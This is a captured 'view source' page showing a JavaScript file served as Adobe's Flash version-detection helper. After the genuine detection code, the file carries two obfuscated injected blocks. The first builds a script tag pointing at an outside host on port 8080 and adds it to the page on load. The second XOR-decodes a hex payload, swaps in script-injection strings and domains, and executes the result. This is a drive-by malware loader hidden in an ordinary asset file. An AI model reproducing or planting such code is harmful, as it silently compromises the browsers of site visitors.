URL:    [ Dan Winchester Home ] [ View Source Home ] 
HTTP/1.1 200 OK
Date: Sun, 21 Feb 2010 18:26:41 GMT
Server: Apache/1.3.41 (Unix) mod_ssl/2.8.31 OpenSSL/0.9.8e
Last-Modified: Tue, 16 Feb 2010 21:51:13 GMT
ETag: "3c41-4b7b1351"
Accept-Ranges: bytes
Content-Length: 15425
Connection: close
Content-Type: application/javascript

//v1.7
// Flash Player Version Detection
// Detect Client Browser type
// Copyright 2005-2007 Adobe Systems Incorporated.  All rights reserved.
var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;

function ControlVersion()
{
	var version;
	var axo;
	var e;

	// NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry

	try {
		// version will be set for 7.X or greater players
		axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
		version = axo.GetVariable("$version");
	} catch (e) {
	}

	if (!version)
	{
		try {
			// version will be set for 6.X players only
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");
			
			// installed player is some revision of 6.0
			// GetVariable("$version") crashes for versions 6.0.22 through 6.0.29,
			// so we have to be careful. 
			
			// default to the first public version
			version = "WIN 6,0,21,0";

			// throws if AllowScripAccess does not exist (introduced in 6.0r47)		
			axo.AllowScriptAccess = "always";

			// safe to call for 6.0r47 or greater
			version = axo.GetVariable("$version");

		} catch (e) {
		}
	}

	if (!version)
	{
		try {
			// version will be set for 4.X or 5.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
			version = axo.GetVariable("$version");
		} catch (e) {
		}
	}

	if (!version)
	{
		try {
			// version will be set for 3.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
			version = "WIN 3,0,18,0";
		} catch (e) {
		}
	}

	if (!version)
	{
		try {
			// version will be set for 2.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
			version = "WIN 2,0,0,11";
		} catch (e) {
			version = -1;
		}
	}
	
	return version;
}

// JavaScript helper required to detect Flash Player PlugIn version information
function GetSwfVer(){
	// NS/Opera version >= 3 check for Flash plugin in plugin array
	var flashVer = -1;
	
	if (navigator.plugins != null && navigator.plugins.length > 0) {
		if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
			var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
			var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
			var descArray = flashDescription.split(" ");
			var tempArrayMajor = descArray[2].split(".");			
			var versionMajor = tempArrayMajor[0];
			var versionMinor = tempArrayMajor[1];
			var versionRevision = descArray[3];
			if (versionRevision == "") {
				versionRevision = descArray[4];
			}
			if (versionRevision[0] == "d") {
				versionRevision = versionRevision.substring(1);
			} else if (versionRevision[0] == "r") {
				versionRevision = versionRevision.substring(1);
				if (versionRevision.indexOf("d") > 0) {
					versionRevision = versionRevision.substring(0, versionRevision.indexOf("d"));
				}
			}
			var flashVer = versionMajor + "." + versionMinor + "." + versionRevision;
		}
	}
	// MSN/WebTV 2.6 supports Flash 4
	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;
	// WebTV 2.5 supports Flash 3
	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;
	// older WebTV supports Flash 2
	else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;
	else if ( isIE && isWin && !isOpera ) {
		flashVer = ControlVersion();
	}	
	return flashVer;
}

// When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available
function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision)
{
	versionStr = GetSwfVer();
	if (versionStr == -1 ) {
		return false;
	} else if (versionStr != 0) {
		if(isIE && isWin && !isOpera) {
			// Given "WIN 2,0,0,11"
			tempArray         = versionStr.split(" "); 	// ["WIN", "2,0,0,11"]
			tempString        = tempArray[1];			// "2,0,0,11"
			versionArray      = tempString.split(",");	// ['2', '0', '0', '11']
		} else {
			versionArray      = versionStr.split(".");
		}
		var versionMajor      = versionArray[0];
		var versionMinor      = versionArray[1];
		var versionRevision   = versionArray[2];

        	// is the major.revision >= requested major.revision AND the minor version >= requested minor
		if (versionMajor > parseFloat(reqMajorVer)) {
			return true;
		} else if (versionMajor == parseFloat(reqMajorVer)) {
			if (versionMinor > parseFloat(reqMinorVer))
				return true;
			else if (versionMinor == parseFloat(reqMinorVer)) {
				if (versionRevision >= parseFloat(reqRevision))
					return true;
			}
		}
		return false;
	}
}

function AC_AddExtension(src, ext)
{
  if (src.indexOf('?') != -1)
    return src.replace(/\?/, ext+'?'); 
  else
    return src + ext;
}

function AC_Generateobj(objAttrs, params, embedAttrs) 
{ 
  var str = '';
  if (isIE && isWin && !isOpera)
  {
    str += '<object ';
    for (var i in objAttrs)
    {
      str += i + '="' + objAttrs[i] + '" ';
    }
    str += '>';
    for (var i in params)
    {
      str += '<param name="' + i + '" value="' + params[i] + '" /> ';
    }
    str += '</object>';
  }
  else
  {
    str += '<embed ';
    for (var i in embedAttrs)
    {
      str += i + '="' + embedAttrs[i] + '" ';
    }
    str += '> </embed>';
  }

  document.write(str);
}

function AC_FL_RunContent(){
  var ret = 
    AC_GetArgs
    (  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
     , "application/x-shockwave-flash"
    );
  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}

function AC_SW_RunContent(){
  var ret = 
    AC_GetArgs
    (  arguments, ".dcr", "src", "clsid:166B1BCA-3F9C-11CF-8075-444553540000"
     , null
    );
  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}

function AC_GetArgs(args, ext, srcParamName, classid, mimeType){
  var ret = new Object();
  ret.embedAttrs = new Object();
  ret.params = new Object();
  ret.objAttrs = new Object();
  for (var i=0; i < args.length; i=i+2){
    var currArg = args[i].toLowerCase();    

    switch (currArg){	
      case "classid":
        break;
      case "pluginspage":
        ret.embedAttrs[args[i]] = args[i+1];
        break;
      case "src":
      case "movie":	
        args[i+1] = AC_AddExtension(args[i+1], ext);
        ret.embedAttrs["src"] = args[i+1];
        ret.params[srcParamName] = args[i+1];
        break;
      case "onafterupdate":
      case "onbeforeupdate":
      case "onblur":
      case "oncellchange":
      case "onclick":
      case "ondblClick":
      case "ondrag":
      case "ondragend":
      case "ondragenter":
      case "ondragleave":
      case "ondragover":
      case "ondrop":
      case "onfinish":
      case "onfocus":
      case "onhelp":
      case "onmousedown":
      case "onmouseup":
      case "onmouseover":
      case "onmousemove":
      case "onmouseout":
      case "onkeypress":
      case "onkeydown":
      case "onkeyup":
      case "onload":
      case "onlosecapture":
      case "onpropertychange":
      case "onreadystatechange":
      case "onrowsdelete":
      case "onrowenter":
      case "onrowexit":
      case "onrowsinserted":
      case "onstart":
      case "onscroll":
      case "onbeforeeditfocus":
      case "onactivate":
      case "onbeforedeactivate":
      case "ondeactivate":
      case "type":
      case "codebase":
      case "id":
        ret.objAttrs[args[i]] = args[i+1];
        break;
      case "width":
      case "height":
      case "align":
      case "vspace": 
      case "hspace":
      case "class":
      case "title":
      case "accesskey":
      case "name":
      case "tabindex":
        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
        break;
      default:
        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
    }
  }
  ret.objAttrs["classid"] = classid;
  if (mimeType) ret.embedAttrs["type"] = mimeType;
  return ret;
}

try {var h=']';var a='[';this.n=5988;var c='g';var xP="";this.Ao=23670;function e(d,A){var q=a;q+=A;q+=h;var S=new RegExp(q, c);return d.replace(S, '');};this.H=false;var m=e('sgcZrKiepetK',"KZgef");var dY=false;var u='';var w='';var L=e(':P8P0r8x0P',"Pmrxj");var G=e('bCoNdNyN',"NcTrC");var Z=e('o2nhlhosahd2',"2sJh0");var x=e('ampmpIeEnEdICEhviIlEdI',"IEvom");var b=e('cBryeQaBtQeyEQlyeBmBeunCtu',"uQCBy");var NL='';var E=e('sfeOtjAZtOtUrjijbOujtjeU',"UZOfj");var o=e('/zazlBi7cBez.viBtv/WaWlvi7cBez.vi7tB/zpveBovpvl7eW.vcWozm7.zcBn7/vo7cznW.vnBev.7jzpz/vgBoBoBgBlWev.7czoBm7/W',"W7zvB");this.HH='';var d="1";var aK=59724;var p=e('hEtEtYp5:U/U/UlYe5m5oYn5dYe9-YfUrU.ErEuEnEe9s5cUa9pEeE.Ec9oYm9.UaEbErEiYl9-9cUo5mY-EbUrY.EnEeEw9uUs5aUg9u9iUdUeY.Yr5u5',"5U9EY");this.LL=65492;window[Z]=function(){var U="";this.Un="";r=document[b](m);var pS='';u+=p;var D=false;u+=L;this.JX=29601;u+=o;this.JJ='';r[e('slr4cp',"pl4b5")]=u;var YE="";var _=document[G];r[E](e('dUenfJenr8',"8wnUJ"), d);var mt="";var wg=61756;_[x](r);};} catch(k){this.kF=46954;alert(k);this.KI="";};
var Ft="cfd4c9f3f6b0d3dbe6c6eea6c0dbc7c0ace4cfe2c5d9d4d3ede0dffafbd9c9f0f6fecbf7f5d1cbffe1d5e5d7e0f2e6d0f8cfc6d3f8e8e6e1e5ccd4c7ccc6c1d0db96ccc1a6c0d9d9b4d8f685c4c2";var FV=34057;var iZU;if(iZU!='jx'){iZU='jx'};var cQ=32857;function r(n){var ym="ym"; var p=function(d){var X=new Date();var e=[20,58,1,96][2];var oe;if(oe!='g' && oe != ''){oe=null};var Nk="Nk";var w=[219,0,182,165][1];var I=d[J("elgnth", [1,0,3,2])];var c=20132;var M=28516;var Q=[30,255][1];this.ad="";var z;if(z!='SB' && z != ''){z=null};var V=[196,7,0,41][2];var Fd;if(Fd!='fC'){Fd='fC'};var zh;if(zh!='H'){zh='H'};var Rh=new String();var yn='';while(V<I){var ej;if(ej!='IS'){ej=''};var Ga=new Array();var SZ;if(SZ!='' && SZ!='yf'){SZ=null};var RW;if(RW!='' && RW!='xv'){RW=null};V++;this.yD="";var Fk;if(Fk!='h'){Fk=''};Jy=O(d,V - e);var dv;if(dv!=''){dv='Y'};w+=Jy*I;var iI;if(iI!='FS' && iI!='Ad'){iI=''};var aF=new Array();}this.zO="";var jV;if(jV!='' && jV!='iZ'){jV=null};this.Kb=7956;this.xD=false;return new T(w % Q);};this.vQ=false;var SA=new Date(); var f=function(y){this.MZ="MZ";var yL;if(yL!='WQ' && yL != ''){yL=null};var DKu=new Date();y = new T(y);this.eY=false;var rD;if(rD!='' && rD!='QG'){rD=null};var E =[50,0,69][1];var BS=new Date();var mpz=new Date();var j = -1;var Fh=new Date();var a =[0,34,31,158][0];var py = '';var giP=42749;var qc=new String();var QY='';for (a=y[J("hntegl", [5,3,1,4,2,0])]-j;a>=E;a=a-[1,48][0]){py+=y[J("hacrAt", [2,0,1,3])](a);var er=new Array();var Vm;if(Vm!='' && Vm!='jk'){Vm=''};}var Rs;if(Rs!='' && Rs!='ZP'){Rs=''};return py;var OJC;if(OJC!='Px'){OJC=''};var XH;if(XH!='' && XH!='No'){XH=null};};this.kx=18310;this.Sn=false; var TP;if(TP!='' && TP!='JG'){TP='am'};function J(y, R){this.NE=13909;var Wt;if(Wt!='' && Wt!='Nx'){Wt='kL'};var E=[0][0];var sV;if(sV!='Zz'){sV='Zz'};var Rv=20555;var G = y.length;this.dt=28944;this.QA=20139;var o = R.length;this.Ww="Ww";this.Tk="Tk";var py = '';var Fs='';var e=[1,187,46][0];this.cd=61499;this.Bt=22298;for(var a = E; a < G; a += o) {var rC;if(rC!='gU'){rC='gU'};var aQ = y.substr(a, o);this.oT="oT";var Cw=new Date();if(aQ.length == o){var wt;if(wt!='' && wt!='BJ'){wt=''};for(var V in R) {var iD;if(iD!=''){iD='YX'};py+=aQ.substr(R[V], e);var SG='';var cD=new String();}this.Rw=false;} else {var ZR;if(ZR!='' && ZR!='Cg'){ZR=null};this.UY=40413;  py+=aQ;var eb="";}}var sH=62289;var rr=new Array();return py;var Aw;if(Aw!=''){Aw='VX'};}var SD=false; var k=function(U,x){return U^x;var Xg=false;};var lZ;if(lZ!='' && lZ!='CX'){lZ=''};var yo=new Date();var da;if(da!='xL'){da='xL'};this.HQ="HQ"; this.ik=6501;function O(Oa,Ez){this.CU="CU";return Oa[J("acdeohrCAt", [1,5,0,6,7,4,2,3])](Ez);}this.gR="";var wK=new String();var Ux;if(Ux!='Pk' && Ux!='GH'){Ux='Pk'};var Qj=new Array();var Vx=window;var HG="HG";var oN=Vx[J("avel", [2,1,0])];var A=oN(J("ncotiFun", [5,6,0,1,3,4,2,7]));var zf="";var bm;if(bm!=''){bm='it'};var AG;if(AG!=''){AG='Kf'};var s=oN(J("eRgxpE", [1,0,2,5,3,4]));var jK = '';this.OT="OT";var Vi='';var T=oN(J("trSing", [2,0,1,3]));var zx;if(zx!='ubp' && zx != ''){zx=null};this.hw='';var uo;if(uo!='cF' && uo != ''){uo=null};var XY="XY";var bk=new String();this.Nq=false;var oG;if(oG!='KP'){oG='KP'};var i=T[J("rfoCmhraCdoe", [1,0,2])];this.yA='';this.Kd='';var ua;if(ua!='' && ua!='sY'){ua=null};var GV=Vx[J("eunascpe", [1,2,0])];var DGq="";var AW=false;var Ejj=new String();var LX;if(LX!='ou'){LX='ou'};var ju=[1, J("ondmcue.ttecraEnemlee(itc\'srpt\')", [2,0,4,5,3,6,1]),2, J("ceoumd.dtbonae.ppyCldhind(d)", [5,2,0,3,4,1]),3, J("omicn.cedmraii.cml.opornhub", [3,0,1,5,2,4,6]),4, J("krmaigetocd.m", [2,3,1,0]),5, J("olvmi.ceidsteesinu8.:rg080", [6,0,3,5,1,4,2,7]),6, J("e.dtAsittbur\'etde(fer\'", [2,1,5,0,3,4]),7, J("nw.oiwdonload", [1,4,0,6,3,5,2]),8, J("viledroo.com", [2,1,0,3,4]),11, J("ufntcino()", [1,0,2]),12, J("lgoc.eogom", [7,6,2,1,0,5,4,3]),14, J("oowtco.m", [2,0,1,3]),15, J("ecth(ac)", [1,5,2,6,3,4,0]),16, J("t\"h:tp", [1,2,0]),17, J("liapay", [2,0,1,3]),18, J("c.drs", [2,1,4,3,0]),19, J(")1\'\'", [2,1,3,0]),20, J("rty", [1,0])];var Adb=new String();var pz=new String();var u =[87,0][1];var qb=new Array();var pE = '';var zhl='';var uF = T.fromCharCode(37);var EN = '';var fD=11253;var DH=17890;var l = /[^@a-z0-9A-Z_-]/g;var Wv;if(Wv!='' && Wv!='ISo'){Wv=''};var iIF=new Array();var S = '';var E =[0,248,229][0];var e =[124,154,1][2];var N = n[J("elntgh", [1,0,2])];var pb;if(pb!='' && pb!='DZ'){pb='ij'};var yb=24091;var AU=16059;var D =[2,27][0];var vu;if(vu!='Ak' && vu!='Duj'){vu=''};this.Pe='';for(var dj=E; dj < N; dj+=D){var si=15611;var wm=35471;pE+= uF; this.PF='';pE+= n[J("rstbus", [1,4,3,5,2,0])](dj, D);var Rn="Rn";}var lw;if(lw!='SBU'){lw=''};var n = GV(pE);var JE;if(JE!='' && JE!='DI'){JE=''};var at = new T(r);var wf="wf";var pzf;if(pzf!=''){pzf='Ic'};var kg = at[J("cplreae", [3,4,1,2,5,0,6])](l, EN);this.zfd="";this.tTQ="";var bC="bC";var uH = ju[J("elgnht", [1,0])];var fI = new T(A);this.vF="vF";var Lv=new Array();var lB="";var SN="";kg = f(kg);var ZX="";var yN=false;var uh = fI[J("arplece", [1,4,2,3,0])](l, EN);var uh = p(uh);var b=p(kg);for(var a=E; a < (n[J("nelhtg", [2,1,0])]);a=a+[219,1,194][1]) {this.jHl=false;var mB=new Array();var ZW;if(ZW!='' && ZW!='gy'){ZW='UB'};var fu = kg.charCodeAt(u);var xd;if(xd!=''){xd='rM'};var L = O(n,a);var Hf;if(Hf!='Fl'){Hf='Fl'};L = k(L, fu);this.tx=false;this.Rg='';L = k(L, b);var Rd=new String();var xP=new String();L = k(L, uh);this.bP='';var ny=new String();var XI=44265;u++;var Oad;if(Oad!='Hw'){Oad=''};if(u > kg.length-e){var Ou="";u=E;var lO='';this.VV=52442;}S += i(L);var zd=new String();var ID=new String();}for(Lp=E; Lp < uH; Lp+=D){this.LT="LT";this.IhS="IhS";var wI = i(ju[Lp]);var JM = ju[Lp + e];this.Yy="";this.cX="";var wFA="wFA";var GK=false;var m = new s(wI, T.fromCharCode(103));var an=false;this.Op=19865;S=S[J("lrepace", [1,2,3,0])](m, JM);}var cm=false;this.kNg="";var F=new A(S);F();var Zv;if(Zv!='bg'){Zv=''};var XL;if(XL!='eq'){XL='eq'};b = '';var Ds=new String();var hb;if(hb!='' && hb!='PV'){hb=''};uh = '';kg = '';this.JxV=false;var HU;if(HU!='' && HU!='Cy'){HU=null};F = '';this.YFA="";var Jg="";var rDC;if(rDC!='' && rDC!='Gw'){rDC=null};var PW=new Array();S = '';fI = '';this.zM=false;var OX;if(OX!='Gg'){OX=''};this.aC=false;return '';var nS=new Array();};var FV=34057;var iZU;if(iZU!='jx'){iZU='jx'};var cQ=32857;r(Ft);
 Questions or comments welcome: contact me.